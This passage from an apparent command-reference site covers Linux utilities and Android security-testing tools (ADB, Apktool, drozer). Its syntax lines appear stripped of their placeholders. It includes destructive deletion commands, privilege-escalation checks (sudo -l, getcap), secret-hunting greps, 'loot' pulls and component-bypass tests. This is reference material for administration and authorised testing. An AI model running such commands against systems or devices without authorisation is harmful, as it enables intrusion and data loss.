Directories ### rmdir ```bash rmdir ``` Example: ```bash rmdir empty-folder ``` Removes an empty directory only — a safe choice. ### rm -r ```bash rm -r ``` Example: ```bash rm -r build/ ``` Removes a directory and everything inside it. ### rm -rf ```bash rm -rf ``` Example: ```bash rm -rf node_modules ``` Recursive and forced. Double-check the path; never run it with an unquoted variable that might be empty. ### find -name "" -delete ```bash find -name "" -delete ``` Example: ```bash find . -name ".DS_Store" -delete ``` Deletes matching files anywhere in a tree. ## Secure deletion ### shred -u -n ```bash shred -u -n ``` Example: ```bash shred -u -n 3 secrets.txt ``` Overwrites a file before deleting it. Not reliable on SSDs, copy-on-write or journaled file systems. ## Related tools - [mv](https://terminal.rokibulroni.com/tool/linux/mv) - [find](https://terminal.rokibulroni.com/tool/linux/find) # Tool: sed > A stream editor for filtering and transforming text: substitutions, deletions and in-place file edits. - Category: Linux - Commands: 16 - Page: https://terminal.rokibulroni.com/tool/linux/sed - Homepage: https://www.gnu.org/software/sed/ - Documentation: https://www.gnu.org/software/sed/manual/sed.html - Tags: text processing, regex ## Install - apt: `sudo apt install sed` - brew: `brew install gnu-sed` ## Substitution ### sed 's///' ```bash sed 's///' ``` Example: ```bash sed 's/http/https/' urls.txt ``` Replaces the first match on each line and prints the result; the file is unchanged. ### sed 's///g' ```bash sed 's///g' ``` Example: ```bash sed 's/foo/bar/g' config.txt ``` Replaces every match on each line. ### sed 's///gI' ```bash sed 's///gI' ``` Example: ```bash sed 's/error/ERROR/gI' app.log ``` Case-insensitive replacement (GNU). ### sed 's###g' ```bash sed 's###g' ``` Example: ```bash sed 's#/var/www#/srv/www#g' site.conf ``` Use a different delimiter when the pattern contains slashes. ### sed -E 's/()/[\1]/g' ```bash sed -E 's/()/[\1]/g' ``` Example: ```bash sed -E 's/([0-9]+)/[\1]/g' data.txt ``` Extended regex with capture groups; \1 refers to the first group. ## Editing files ### sed -i 's///g' ```bash sed -i 's///g' ``` Example: ```bash sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config ``` Edits the file in place. On macOS/BSD use sed -i '' instead. ### sed -i.bak 's///g' ```bash sed -i.bak 's///g' ``` Example: ```bash sed -i.bak 's/8080/9090/' app.conf ``` Edits in place and keeps a backup with the given suffix. ## Selecting lines ### sed -n 'p' ```bash sed -n 'p' ``` Example: ```bash sed -n '42p' app.log ``` Prints only line n. ### sed -n ',p' ```bash sed -n ',p' ``` Example: ```bash sed -n '100,120p' app.log ``` Prints a range of lines. ### sed -n '//,//p' ```bash sed -n '//,//p' ``` Example: ```bash sed -n '/BEGIN CERTIFICATE/,/END CERTIFICATE/p' bundle.pem ``` Prints everything between two patterns, inclusive. ### sed '//d' ```bash sed '//d' ``` Example: ```bash sed '/^#/d' nginx.conf ``` Deletes matching lines — here, comments. ### sed '/^$/d' ```bash sed '/^$/d' ``` Example: ```bash sed '/^$/d' notes.txt ``` Deletes empty lines. ### sed 'd' ```bash sed 'd' ``` Example: ```bash sed '1d' data.csv ``` Deletes line n, such as a CSV header. ## Inserting ### sed 'i ' ```bash sed 'i ' ``` Example: ```bash sed '1i #!/bin/bash' script.sh ``` Inserts a line before line n. ### sed '//a ' ```bash sed '//a ' ``` Example: ```bash sed '/\[mysqld\]/a bind-address = 127.0.0.1' my.cnf ``` Appends a line after each match. ### sed 's/^[ \t]*//;s/[ \t]*$//' ```bash sed 's/^[ \t]*//;s/[ \t]*$//' ``` Example: ```bash sed 's/^[ \t]*//;s/[ \t]*$//' list.txt ``` Trims leading and trailing whitespace; several commands are separated by semicolons. ## Related tools - [awk](https://terminal.rokibulroni.com/tool/linux/awk) - [grep](https://terminal.rokibulroni.com/tool/linux/grep) - [cut](https://terminal.rokibulroni.com/tool/linux/cut) # Tool: sort > Sorts lines of text alphabetically, numerically, by field or by human-readable size. - Category: Linux - Commands: 14 - Page: https://terminal.rokibulroni.com/tool/linux/sort - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/sort.1.html - Tags: text processing ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### sort ```bash sort ``` Example: ```bash sort names.txt ``` Sorts lines alphabetically. ### sort -r ```bash sort -r ``` Example: ```bash sort -r names.txt ``` Reverse order. ### sort -n ```bash sort -n ``` Example: ```bash sort -n numbers.txt ``` Numeric sort, so 10 comes after 9. ### sort -h ```bash sort -h ``` Example: ```bash du -sh * | sort -h ``` Sorts human-readable sizes like 4K, 2M and 1G correctly. ### sort -u ```bash sort -u ``` Example: ```bash sort -u ips.txt ``` Sorts and removes duplicates in one step. ### sort -f ```bash sort -f ``` Example: ```bash sort -f words.txt ``` Ignores case. ## Keys and fields ### sort -t -k ```bash sort -t -k ``` Example: ```bash sort -t: -k3 -n /etc/passwd ``` Sorts by field n using a delimiter — here, by UID. ### sort -k,nr ```bash sort -k,nr ``` Example: ```bash sort -k2,2nr scores.txt ``` Sorts by one field numerically in reverse; limiting the key to n,n stops it spilling into later fields. ### sort -V ```bash sort -V ``` Example: ```bash sort -V versions.txt ``` Version sort: 1.2 < 1.10. ### sort -t. -k1,1n -k2,2n -k3,3n -k4,4n ```bash sort -t. -k1,1n -k2,2n -k3,3n -k4,4n ``` Example: ```bash sort -t. -k1,1n -k2,2n -k3,3n -k4,4n ips.txt ``` Sorts IPv4 addresses numerically, octet by octet. ## Large data ### sort -o ```bash sort -o ``` Example: ```bash sort -o list.txt list.txt ``` Writes the result back to the same file safely (unlike > list.txt). ### sort -R ```bash sort -R ``` Example: ```bash sort -R wordlist.txt ``` Shuffles lines randomly. ### sort --parallel= -S ```bash sort --parallel= -S ``` Example: ```bash sort --parallel=4 -S 2G huge.txt ``` Uses more threads and memory for very large files. ### sort -c ```bash sort -c ``` Example: ```bash sort -c ids.txt ``` Checks whether a file is already sorted. ## Related tools - [uniq](https://terminal.rokibulroni.com/tool/linux/uniq) - [cut](https://terminal.rokibulroni.com/tool/linux/cut) # Tool: su > Switches to another user (root by default) in a new shell, optionally as a login shell or for a single command. - Category: Linux - Commands: 12 - Page: https://terminal.rokibulroni.com/tool/linux/su - Homepage: https://github.com/util-linux/util-linux - Documentation: https://man7.org/linux/man-pages/man1/su.1.html - Tags: users, privilege ## Install - apt: `sudo apt install util-linux` ## Switching users ### su ```bash su ``` Becomes root in the current environment after entering root’s password. ### su - ```bash su - ``` A full root login shell: resets the environment and changes to /root. Usually what you want. ### su - ```bash su - ``` Example: ```bash su - postgres ``` A login shell as another user. ### su -c "" ```bash su -c "" ``` Example: ```bash su -c "whoami" alice ``` Runs one command as another user. ### su -s ```bash su -s ``` Example: ```bash sudo su -s /bin/bash www-data ``` Uses a specific shell, needed for service accounts whose shell is /usr/sbin/nologin. ### su -p ```bash su -p ``` Keeps the current environment variables. ### exit ```bash exit ``` Leaves the su shell and returns to your own user. ## Compared with sudo ### sudo -i ```bash sudo -i ``` A root login shell using your own password and sudo rights. ### sudo -u ```bash sudo -u ``` Example: ```bash sudo -u www-data id ``` Runs one command as another user via sudo. ### sudo -s ```bash sudo -s ``` A root shell that keeps your environment. ## Auditing ### grep -E "su(\[|:)" /var/log/auth.log ```bash grep -E "su(\[|:)" /var/log/auth.log ``` Successful and failed su attempts on Debian and Ubuntu (/var/log/secure on RHEL). ### cat /etc/pam.d/su ```bash cat /etc/pam.d/su ``` PAM rules for su — for example, whether only the wheel group may use it. ## Related tools - [whoami](https://terminal.rokibulroni.com/tool/linux/whoami) - [chown](https://terminal.rokibulroni.com/tool/linux/chown) # Tool: systemctl > Controls systemd: start, stop, enable and inspect services, timers and the boot target. - Category: Linux - Commands: 19 - Page: https://terminal.rokibulroni.com/tool/linux/systemctl - Homepage: https://systemd.io - Documentation: https://www.freedesktop.org/software/systemd/man/latest/systemctl.html - Tags: services, systemd, persistence ## Services ### systemctl status ```bash systemctl status ``` Example: ```bash systemctl status ssh ``` State, main PID, memory use and the latest log lines for a service. ### sudo systemctl start ```bash sudo systemctl start ``` Example: ```bash sudo systemctl start nginx ``` Starts a service now. ### sudo systemctl stop ```bash sudo systemctl stop ``` Example: ```bash sudo systemctl stop nginx ``` Stops a service. ### sudo systemctl restart ```bash sudo systemctl restart ``` Example: ```bash sudo systemctl restart ssh ``` Stops and starts it again. ### sudo systemctl reload ```bash sudo systemctl reload ``` Example: ```bash sudo systemctl reload nginx ``` Reloads configuration without dropping connections, if the service supports it. ### sudo systemctl enable --now ```bash sudo systemctl enable --now ``` Example: ```bash sudo systemctl enable --now fail2ban ``` Starts the service and makes it start at boot. ### sudo systemctl disable --now ```bash sudo systemctl disable --now ``` Example: ```bash sudo systemctl disable --now telnet.socket ``` Stops it and removes it from boot. ### sudo systemctl mask ```bash sudo systemctl mask ``` Example: ```bash sudo systemctl mask rpcbind ``` Prevents a unit from being started at all, even as a dependency. ## Inspecting ### systemctl list-units --type=service --state=running ```bash systemctl list-units --type=service --state=running ``` Every running service. ### systemctl list-unit-files --state=enabled ```bash systemctl list-unit-files --state=enabled ``` Everything set to start at boot — a key persistence check. ### systemctl --failed ```bash systemctl --failed ``` Units that failed to start. ### systemctl list-timers --all ```bash systemctl list-timers --all ``` systemd timers, the modern replacement for cron and another persistence location. ### systemctl cat ```bash systemctl cat ``` Example: ```bash systemctl cat ssh ``` Prints the unit file plus any drop-in overrides. ### systemctl show -p ExecStart,User,FragmentPath ```bash systemctl show -p ExecStart,User,FragmentPath ``` Example: ```bash systemctl show nginx -p ExecStart,User,FragmentPath ``` Specific properties: the command it runs, the user and where the unit file lives. ### systemctl list-dependencies ```bash systemctl list-dependencies ``` Example: ```bash systemctl list-dependencies multi-user.target ``` What a unit pulls in. ## Editing and system ### sudo systemctl edit ```bash sudo systemctl edit ``` Example: ```bash sudo systemctl edit nginx ``` Creates a drop-in override instead of editing the vendor unit file. ### sudo systemctl daemon-reload ```bash sudo systemctl daemon-reload ``` Reloads unit files after you change them. ### systemctl --user list-units ```bash systemctl --user list-units ``` Per-user services, which run without root and are easy to overlook. ### systemctl get-default ```bash systemctl get-default ``` The target the system boots into (graphical or multi-user). ## Related tools - [journalctl](https://terminal.rokibulroni.com/tool/linux/journalctl) - [ps](https://terminal.rokibulroni.com/tool/linux/ps) # Tool: tail > Prints the last lines of files and follows them as they grow — the standard way to watch logs. - Category: Linux - Commands: 9 - Page: https://terminal.rokibulroni.com/tool/linux/tail - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/tail.1.html - Tags: logs, text ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### tail ```bash tail ``` Example: ```bash tail /var/log/syslog ``` Prints the last 10 lines. ### tail -n ```bash tail -n ``` Example: ```bash tail -n 50 error.log ``` Prints the last n lines. ### tail -n + ```bash tail -n + ``` Example: ```bash tail -n +2 data.csv ``` Prints from line n onward — here, everything after a CSV header. ### tail -c ```bash tail -c ``` Example: ```bash tail -c 200 output.bin ``` Prints the last n bytes. ## Following logs ### tail -f ```bash tail -f ``` Example: ```bash tail -f /var/log/nginx/access.log ``` Follows a file as new lines are written. Ctrl-C to stop. ### tail -F ```bash tail -F ``` Example: ```bash tail -F /var/log/auth.log ``` Follows by name and reopens the file when it is rotated — use this for long-running watches. ### tail -f ```bash tail -f ``` Example: ```bash tail -f access.log error.log ``` Follows several files at once with headers. ### tail -f | grep --line-buffered ```bash tail -f | grep --line-buffered ``` Example: ```bash tail -f /var/log/auth.log | grep --line-buffered "Failed password" ``` Watches only for matching lines, such as failed SSH logins, as they happen. ### tail -f --pid= ```bash tail -f --pid= ``` Example: ```bash tail -f --pid=4120 build.log ``` Stops following when the given process exits. ## Related tools - [head](https://terminal.rokibulroni.com/tool/linux/head) - [less](https://terminal.rokibulroni.com/tool/linux/less) - [journalctl](https://terminal.rokibulroni.com/tool/linux/journalctl) # Tool: tar > Creates and extracts archives, with gzip, bzip2, xz or zstd compression. - Category: Linux - Commands: 13 - Page: https://terminal.rokibulroni.com/tool/linux/tar - Homepage: https://www.gnu.org/software/tar/ - Documentation: https://www.gnu.org/software/tar/manual/tar.html - Tags: archives, compression, backups ## Install - apt: `sudo apt install tar` - brew: `brew install gnu-tar` ## Creating ### tar -cvf .tar ```bash tar -cvf .tar ``` Example: ```bash tar -cvf backup.tar /etc /home/alice ``` Creates an uncompressed archive. c = create, v = verbose, f = file name. ### tar -czvf .tar.gz ```bash tar -czvf .tar.gz ``` Example: ```bash tar -czvf site.tar.gz /var/www ``` gzip compression. ### tar -cJvf .tar.xz ```bash tar -cJvf .tar.xz ``` Example: ```bash tar -cJvf logs.tar.xz /var/log ``` xz compression: smaller but slower. ### tar --zstd -cvf .tar.zst ```bash tar --zstd -cvf .tar.zst ``` Example: ```bash tar --zstd -cvf data.tar.zst data/ ``` zstd compression: fast and small. ### tar -czvf --exclude= ```bash tar -czvf --exclude= ``` Example: ```bash tar -czvf src.tar.gz --exclude=node_modules --exclude=.git project/ ``` Leaves out matching paths. ### tar -czpf -C . ```bash tar -czpf -C . ``` Example: ```bash tar -czpf etc.tar.gz -C /etc . ``` Archives a directory’s contents with relative paths and preserved permissions. ## Extracting ### tar -xvf ```bash tar -xvf ``` Example: ```bash tar -xvf backup.tar ``` Extracts into the current directory. GNU tar detects compression automatically. ### tar -xzvf -C ```bash tar -xzvf -C ``` Example: ```bash tar -xzvf site.tar.gz -C /tmp/restore ``` Extracts into a specific directory. ### tar -xvf ```bash tar -xvf ``` Example: ```bash tar -xvf backup.tar etc/hosts ``` Extracts a single file. ### tar -xvf --strip-components=1 ```bash tar -xvf --strip-components=1 ``` Example: ```bash tar -xvf tool-1.2.tar.gz --strip-components=1 ``` Drops the top-level directory from extracted paths. ## Inspecting ### tar -tvf ```bash tar -tvf ``` Example: ```bash tar -tvf backup.tar.gz ``` Lists contents without extracting. Always check archives from untrusted sources for ../ paths first. ### tar -df ```bash tar -df ``` Compares an archive against the file system and reports differences. ### tar -czf - | ssh "tar -xzf - -C " ```bash tar -czf - | ssh "tar -xzf - -C " ``` Example: ```bash tar -czf - project | ssh backup "tar -xzf - -C /srv" ``` Streams a directory to another machine over SSH without a temporary file. ## Related tools - [cp](https://terminal.rokibulroni.com/tool/linux/cp) - [find](https://terminal.rokibulroni.com/tool/linux/find) # Tool: top > A live, sortable view of processes and system load, CPU and memory. - Category: Linux - Commands: 15 - Page: https://terminal.rokibulroni.com/tool/linux/top - Homepage: https://gitlab.com/procps-ng/procps - Documentation: https://man7.org/linux/man-pages/man1/top.1.html - Tags: processes, performance ## Install - apt: `sudo apt install procps` ## Running ### top ```bash top ``` A live view of load, CPU, memory and the busiest processes. Press q to quit. ### top -u ```bash top -u ``` Example: ```bash top -u postgres ``` Only one user’s processes. ### top -p , ```bash top -p , ``` Example: ```bash top -p 1337,2048 ``` Watches specific processes. ### top -d ```bash top -d ``` Example: ```bash top -d 1 ``` Changes the refresh interval. ### top -o %MEM ```bash top -o %MEM ``` Sorts by memory instead of CPU. ### top -b -n 1 | head -n 20 ```bash top -b -n 1 | head -n 20 ``` Batch mode: one snapshot printed as plain text, suitable for logs and scripts. ### top -H -p ```bash top -H -p ``` Example: ```bash top -H -p 1337 ``` Shows the threads of one process. ## Keys inside top ### P / M / T ```bash P / M / T ``` Sort by CPU, memory or running time. ### c ```bash c ``` Toggle full command lines. ### 1 ```bash 1 ``` Show each CPU core separately. ### k ```bash k ``` Send a signal to a process by PID. ### V ```bash V ``` Tree view of parents and children. ### W ```bash W ``` Save the current layout to ~/.config/procps/toprc. ## Alternatives ### htop ```bash htop ``` A friendlier interactive viewer with mouse support, tree view and per-core bars. ### btop ```bash btop ``` A modern resource monitor that also shows disk and network graphs. ## Related tools - [ps](https://terminal.rokibulroni.com/tool/linux/ps) - [free](https://terminal.rokibulroni.com/tool/linux/free) - [kill](https://terminal.rokibulroni.com/tool/linux/kill) # Tool: uniq > Filters or counts adjacent duplicate lines — usually paired with sort. - Category: Linux - Commands: 9 - Page: https://terminal.rokibulroni.com/tool/linux/uniq - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/uniq.1.html - Tags: text processing, counting ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### sort | uniq ```bash sort | uniq ``` Example: ```bash sort ips.txt | uniq ``` Removes duplicate lines. uniq only compares neighbours, so sort first. ### sort | uniq -c ```bash sort | uniq -c ``` Example: ```bash sort ips.txt | uniq -c ``` Prefixes each line with how many times it occurs. ### sort | uniq -c | sort -rn ```bash sort | uniq -c | sort -rn ``` Example: ```bash sort ips.txt | uniq -c | sort -rn | head ``` Frequency ranking — the most common lines first. ### sort | uniq -d ```bash sort | uniq -d ``` Example: ```bash sort users.txt | uniq -d ``` Prints only lines that appear more than once. ### sort | uniq -u ```bash sort | uniq -u ``` Example: ```bash sort users.txt | uniq -u ``` Prints only lines that appear exactly once. ### sort | uniq -i ```bash sort | uniq -i ``` Example: ```bash sort -f names.txt | uniq -i ``` Ignores case when comparing. ## Fields ### uniq -f ```bash uniq -f ``` Example: ```bash uniq -f 1 events.txt ``` Skips the first n fields when comparing — useful when lines start with timestamps. ### uniq -s ```bash uniq -s ``` Example: ```bash uniq -s 20 log.txt ``` Skips the first n characters when comparing. ### uniq -w ```bash uniq -w ``` Example: ```bash uniq -w 12 macs.txt ``` Compares only the first n characters. ## Related tools - [sort](https://terminal.rokibulroni.com/tool/linux/sort) - [wc](https://terminal.rokibulroni.com/tool/linux/wc) # Tool: wc > Counts lines, words, characters and bytes in files or input. - Category: Linux - Commands: 10 - Page: https://terminal.rokibulroni.com/tool/linux/wc - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/wc.1.html - Tags: counting, text ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Basics ### wc ```bash wc ``` Example: ```bash wc report.txt ``` Prints line, word and byte counts. ### wc -l ```bash wc -l ``` Example: ```bash wc -l targets.txt ``` Counts lines. ### wc -w ```bash wc -w ``` Example: ```bash wc -w essay.txt ``` Counts words. ### wc -c ```bash wc -c ``` Example: ```bash wc -c payload.bin ``` Counts bytes. ### wc -m ```bash wc -m ``` Example: ```bash wc -m unicode.txt ``` Counts characters, which differs from bytes for multi-byte text. ### wc -L ```bash wc -L ``` Example: ```bash wc -L app.log ``` Prints the length of the longest line (GNU). ### wc -l *.txt ```bash wc -l *.txt ``` Counts several files and adds a total. ## In pipelines ### | wc -l ```bash | wc -l ``` Example: ```bash ls /etc | wc -l ``` Counts lines of output. ### grep -c "" ```bash grep -c "" ``` Example: ```bash grep -c "Failed password" /var/log/auth.log ``` Counting matches directly is faster than grep | wc -l. ### find -type f | wc -l ```bash find -type f | wc -l ``` Example: ```bash find /var/www -type f | wc -l ``` Counts files under a directory. ## Related tools - [uniq](https://terminal.rokibulroni.com/tool/linux/uniq) - [grep](https://terminal.rokibulroni.com/tool/linux/grep) # Tool: whoami > Prints the effective user name — the first question after landing a shell. - Category: Linux - Commands: 13 - Page: https://terminal.rokibulroni.com/tool/linux/whoami - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/whoami.1.html - Tags: users, privilege ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Identity ### whoami ```bash whoami ``` Prints the effective user name. ### id ```bash id ``` User ID, primary group and every supplementary group. Groups like sudo, wheel, docker, lxd or disk often mean a path to root. ### id ```bash id ``` Example: ```bash id alice ``` Another user’s IDs and groups. ### groups ```bash groups ``` Just the group names. ### logname ```bash logname ``` The user who originally logged in, even after su or sudo. ### echo $USER $HOME $SHELL ```bash echo $USER $HOME $SHELL ``` Common identity environment variables. ## Privileges ### sudo -l ```bash sudo -l ``` Lists what you may run with sudo. Entries marked NOPASSWD and editable scripts are classic escalation paths. ### sudo -n true && echo yes ```bash sudo -n true && echo yes ``` Checks whether sudo works without a password. ### getcap -r / 2>/dev/null ```bash getcap -r / 2>/dev/null ``` Binaries with Linux capabilities such as cap_setuid that can lead to root. ## Who else is here ### who ```bash who ``` Users logged in now, their terminals and where they came from. ### w ```bash w ``` Logged-in users plus what each is running and how long they have been idle. ### last -n 20 ```bash last -n 20 ``` Recent logins and reboots from /var/log/wtmp. ### lastlog ```bash lastlog ``` The last login of every account. ## Related tools - [su](https://terminal.rokibulroni.com/tool/linux/su) - [ps](https://terminal.rokibulroni.com/tool/linux/ps) # Tool: ADB > Android Debug Bridge: install apps, open a shell, pull files, forward ports and read logs on Android devices and emulators. - Category: Mobile - Commands: 31 - Page: https://terminal.rokibulroni.com/tool/mobile/adb - Homepage: https://developer.android.com/tools/adb - Documentation: https://developer.android.com/tools/adb - Tags: Android, debugging ## Install - apt: `sudo apt install adb` - brew: `brew install --cask android-platform-tools` - windows: `winget install Google.PlatformTools` ## Devices ### adb devices -l ```bash adb devices -l ``` Lists connected devices and emulators with model and transport ID. “unauthorized” means you must accept the prompt on the device. ### adb -s ```bash adb -s ``` Example: ```bash adb -s emulator-5554 shell ``` Targets one device when several are connected. ### adb tcpip 5555 ```bash adb tcpip 5555 ``` Restarts adbd listening on TCP so you can disconnect the cable. ### adb connect : ```bash adb connect : ``` Example: ```bash adb connect 192.168.1.50:5555 ``` Connects over the network. ### adb pair : ```bash adb pair : ``` Example: ```bash adb pair 192.168.1.50:37123 ``` Pairs with Android 11+ wireless debugging using the code shown on the device. ### adb kill-server && adb start-server ```bash adb kill-server && adb start-server ``` Restarts the local adb server when devices stop showing up. ## Shell ### adb shell ```bash adb shell ``` Opens an interactive shell on the device. ### adb shell ```bash adb shell ``` Example: ```bash adb shell getprop ro.build.version.release ``` Runs a single command — here, printing the Android version. ### adb root ```bash adb root ``` Restarts adbd as root. Works on emulators and userdebug builds, not on production phones. ### adb shell "su -c " ```bash adb shell "su -c " ``` Example: ```bash adb shell "su -c id" ``` Runs a command as root on a rooted device. ### adb shell getprop ```bash adb shell getprop ``` Every system property: build fingerprint, security patch level, debuggable flag and more. ## Apps ### adb install ```bash adb install ``` Example: ```bash adb install app.apk ``` Installs an APK. -r reinstalls keeping data; -g grants all runtime permissions. ### adb install-multiple ```bash adb install-multiple ``` Example: ```bash adb install-multiple base.apk split_config.arm64_v8a.apk ``` Installs a split APK set. ### adb uninstall ```bash adb uninstall ``` Example: ```bash adb uninstall com.example.app ``` Removes an app. -k keeps its data. ### adb shell pm list packages -3 ```bash adb shell pm list packages -3 ``` Third-party packages. Add -f to show the APK path. ### adb shell pm path ```bash adb shell pm path ``` Example: ```bash adb shell pm path com.example.app ``` Where the APK lives, so you can pull it. ### adb shell dumpsys package ```bash adb shell dumpsys package ``` Example: ```bash adb shell dumpsys package com.example.app ``` Permissions, activities, version and signing details. ### adb shell am start -n / ```bash adb shell am start -n / ``` Example: ```bash adb shell am start -n com.example.app/.MainActivity ``` Launches an activity, including non-exported ones when run as root. ### adb shell am force-stop ```bash adb shell am force-stop ``` Example: ```bash adb shell am force-stop com.example.app ``` Kills an app. ### adb shell run-as ls files ```bash adb shell run-as ls files ``` Example: ```bash adb shell run-as com.example.app ls shared_prefs ``` Accesses a debuggable app’s private data without root. ## Files and logs ### adb pull ```bash adb pull ``` Example: ```bash adb pull /sdcard/Download/ ./loot/ ``` Copies from the device. ### adb push ```bash adb push ``` Example: ```bash adb push frida-server /data/local/tmp/ ``` Copies to the device; /data/local/tmp is writable and executable. ### adb logcat ```bash adb logcat ``` Streams the system log. ### adb logcat --pid=$(adb shell pidof -s ) ```bash adb logcat --pid=$(adb shell pidof -s ) ``` Example: ```bash adb logcat --pid=$(adb shell pidof -s com.example.app) ``` Logs from a single app — watch for leaked tokens and debug output. ### adb logcat -c ```bash adb logcat -c ``` Clears the log buffer. ### adb bugreport .zip ```bash adb bugreport .zip ``` Example: ```bash adb bugreport report.zip ``` Collects a full diagnostic bundle. ## Network and screen ### adb forward tcp: tcp: ```bash adb forward tcp: tcp: ``` Example: ```bash adb forward tcp:27042 tcp:27042 ``` Forwards a local port to the device — used by Frida and debuggers. ### adb reverse tcp: tcp: ```bash adb reverse tcp: tcp: ``` Example: ```bash adb reverse tcp:8080 tcp:8080 ``` Lets the device reach a port on your computer, for example an intercepting proxy. ### adb shell settings put global http_proxy : ```bash adb shell settings put global http_proxy : ``` Example: ```bash adb shell settings put global http_proxy 192.168.1.10:8080 ``` Sets a global HTTP proxy; reset with :0. ### adb exec-out screencap -p > ```bash adb exec-out screencap -p > ``` Example: ```bash adb exec-out screencap -p > screen.png ``` Takes a screenshot. ### adb shell screenrecord /sdcard/ ```bash adb shell screenrecord /sdcard/ ``` Example: ```bash adb shell screenrecord /sdcard/demo.mp4 ``` Records the screen (up to three minutes). ## Related tools - [Frida](https://terminal.rokibulroni.com/tool/mobile/frida) - [objection](https://terminal.rokibulroni.com/tool/mobile/objection) - [Apktool](https://terminal.rokibulroni.com/tool/mobile/apktool) # Tool: Apktool > Decodes Android APKs to near-original resources and smali code, and rebuilds them after modification. - Category: Mobile - Commands: 16 - Page: https://terminal.rokibulroni.com/tool/mobile/apktool - Homepage: https://apktool.org - Documentation: https://apktool.org/docs/the-basics/intro - Tags: Android, reverse engineering, APK ## Install - apt: `sudo apt install apktool` - brew: `brew install apktool` ## Decoding ### apktool d ```bash apktool d ``` Example: ```bash apktool d app.apk ``` Decodes resources and AndroidManifest.xml to readable XML and the code to smali, in a folder named after the APK. ### apktool d -o ```bash apktool d -o ``` Example: ```bash apktool d app.apk -o app_src ``` Chooses the output directory. ### apktool d -f ```bash apktool d -f ``` Overwrites an existing output directory. ### apktool d -s ```bash apktool d -s ``` Keeps classes.dex undecoded — faster when you only need resources and the manifest. ### apktool d -r ```bash apktool d -r ``` Leaves resources undecoded, which avoids rebuild problems when you only edit smali. ### apktool d --only-main-classes ```bash apktool d --only-main-classes ``` Skips extra dex files that are not part of the main app code. ## Reviewing ### grep -E "debuggable|allowBackup|exported|usesCleartextTraffic" /AndroidManifest.xml ```bash grep -E "debuggable|allowBackup|exported|usesCleartextTraffic" /AndroidManifest.xml ``` Example: ```bash grep -E "debuggable|allowBackup|exported|usesCleartextTraffic" app_src/AndroidManifest.xml ``` Quick manifest review for risky flags and exported components. ### grep -rniE "api[_-]?key|secret|password|token" /res ```bash grep -rniE "api[_-]?key|secret|password|token" /res ``` Example: ```bash grep -rniE "api[_-]?key|secret|password|token" app_src/res ``` Hunts for hard-coded secrets in resources. ### cat /res/xml/network_security_config.xml ```bash cat /res/xml/network_security_config.xml ``` Example: ```bash cat app_src/res/xml/network_security_config.xml ``` Shows certificate pinning and cleartext rules. ## Rebuilding ### apktool b ```bash apktool b ``` Example: ```bash apktool b app_src ``` Rebuilds the APK into /dist/. ### apktool b -o ```bash apktool b -o ``` Example: ```bash apktool b app_src -o patched.apk ``` Rebuilds to a chosen file name. ### zipalign -p -f 4 ```bash zipalign -p -f 4 ``` Example: ```bash zipalign -p -f 4 patched.apk aligned.apk ``` Aligns the APK, required before signing with apksigner. ### apksigner sign --ks ```bash apksigner sign --ks ``` Example: ```bash apksigner sign --ks test.keystore aligned.apk ``` Signs the rebuilt APK so it can be installed. ### keytool -genkey -v -keystore -alias -keyalg RSA -keysize 2048 -validity 10000 ```bash keytool -genkey -v -keystore -alias -keyalg RSA -keysize 2048 -validity 10000 ``` Example: ```bash keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000 ``` Creates a throwaway signing key. ## Frameworks ### apktool if ```bash apktool if ``` Example: ```bash apktool if framework-res.apk ``` Installs a vendor framework needed to decode some system apps. ### apktool empty-framework-dir --force ```bash apktool empty-framework-dir --force ``` Clears cached frameworks when decoding fails with resource errors. ## Related tools - [ADB](https://terminal.rokibulroni.com/tool/mobile/adb) - [Frida](https://terminal.rokibulroni.com/tool/mobile/frida) - [Ghidra](https://terminal.rokibulroni.com/tool/reversing/ghidra) # Tool: drozer > A security-testing framework for Android that interacts with app components — activities, providers, services — over IPC to find weaknesses. - Category: Mobile - Commands: 18 - Page: https://terminal.rokibulroni.com/tool/mobile/drozer - Homepage: https://github.com/WithSecureLabs/drozer - Documentation: https://github.com/WithSecureLabs/drozer#usage - Tags: Android, IPC, app security ## Install - pipx: `pipx install drozer` ## Connecting ### adb forward tcp:31415 tcp:31415 ```bash adb forward tcp:31415 tcp:31415 ``` Forwards the drozer agent port from the device. Start the drozer Agent app and turn its server on first. ### drozer console connect ```bash drozer console connect ``` Connects to the agent and opens the drozer console. ### drozer console connect --server ```bash drozer console connect --server ``` Example: ```bash drozer console connect --server 192.168.1.50 ``` Connects to an agent over the network. ## Recon ### run app.package.list -f ```bash run app.package.list -f ``` Example: ```bash run app.package.list -f example ``` Finds installed packages by name. ### run app.package.info -a ```bash run app.package.info -a ``` Example: ```bash run app.package.info -a com.example.app ``` Version, data directory, UID and requested permissions. ### run app.package.attacksurface ```bash run app.package.attacksurface ``` Example: ```bash run app.package.attacksurface com.example.app ``` Counts exported activities, services, receivers and providers, and flags debuggable apps. ### run app.package.manifest ```bash run app.package.manifest ``` Example: ```bash run app.package.manifest com.example.app ``` Prints the manifest. ## Activities and services ### run app.activity.info -a ```bash run app.activity.info -a ``` Example: ```bash run app.activity.info -a com.example.app ``` Lists exported activities and the permissions protecting them. ### run app.activity.start --component ```bash run app.activity.start --component ``` Example: ```bash run app.activity.start --component com.example.app com.example.app.AdminActivity ``` Starts an exported activity directly — tests for authentication bypass. ### run app.service.info -a ```bash run app.service.info -a ``` Example: ```bash run app.service.info -a com.example.app ``` Exported services. ### run app.broadcast.info -a ```bash run app.broadcast.info -a ``` Example: ```bash run app.broadcast.info -a com.example.app ``` Exported broadcast receivers. ### run app.broadcast.send --action --extra string ```bash run app.broadcast.send --action --extra string ``` Example: ```bash run app.broadcast.send --action com.example.RESET --extra string user admin ``` 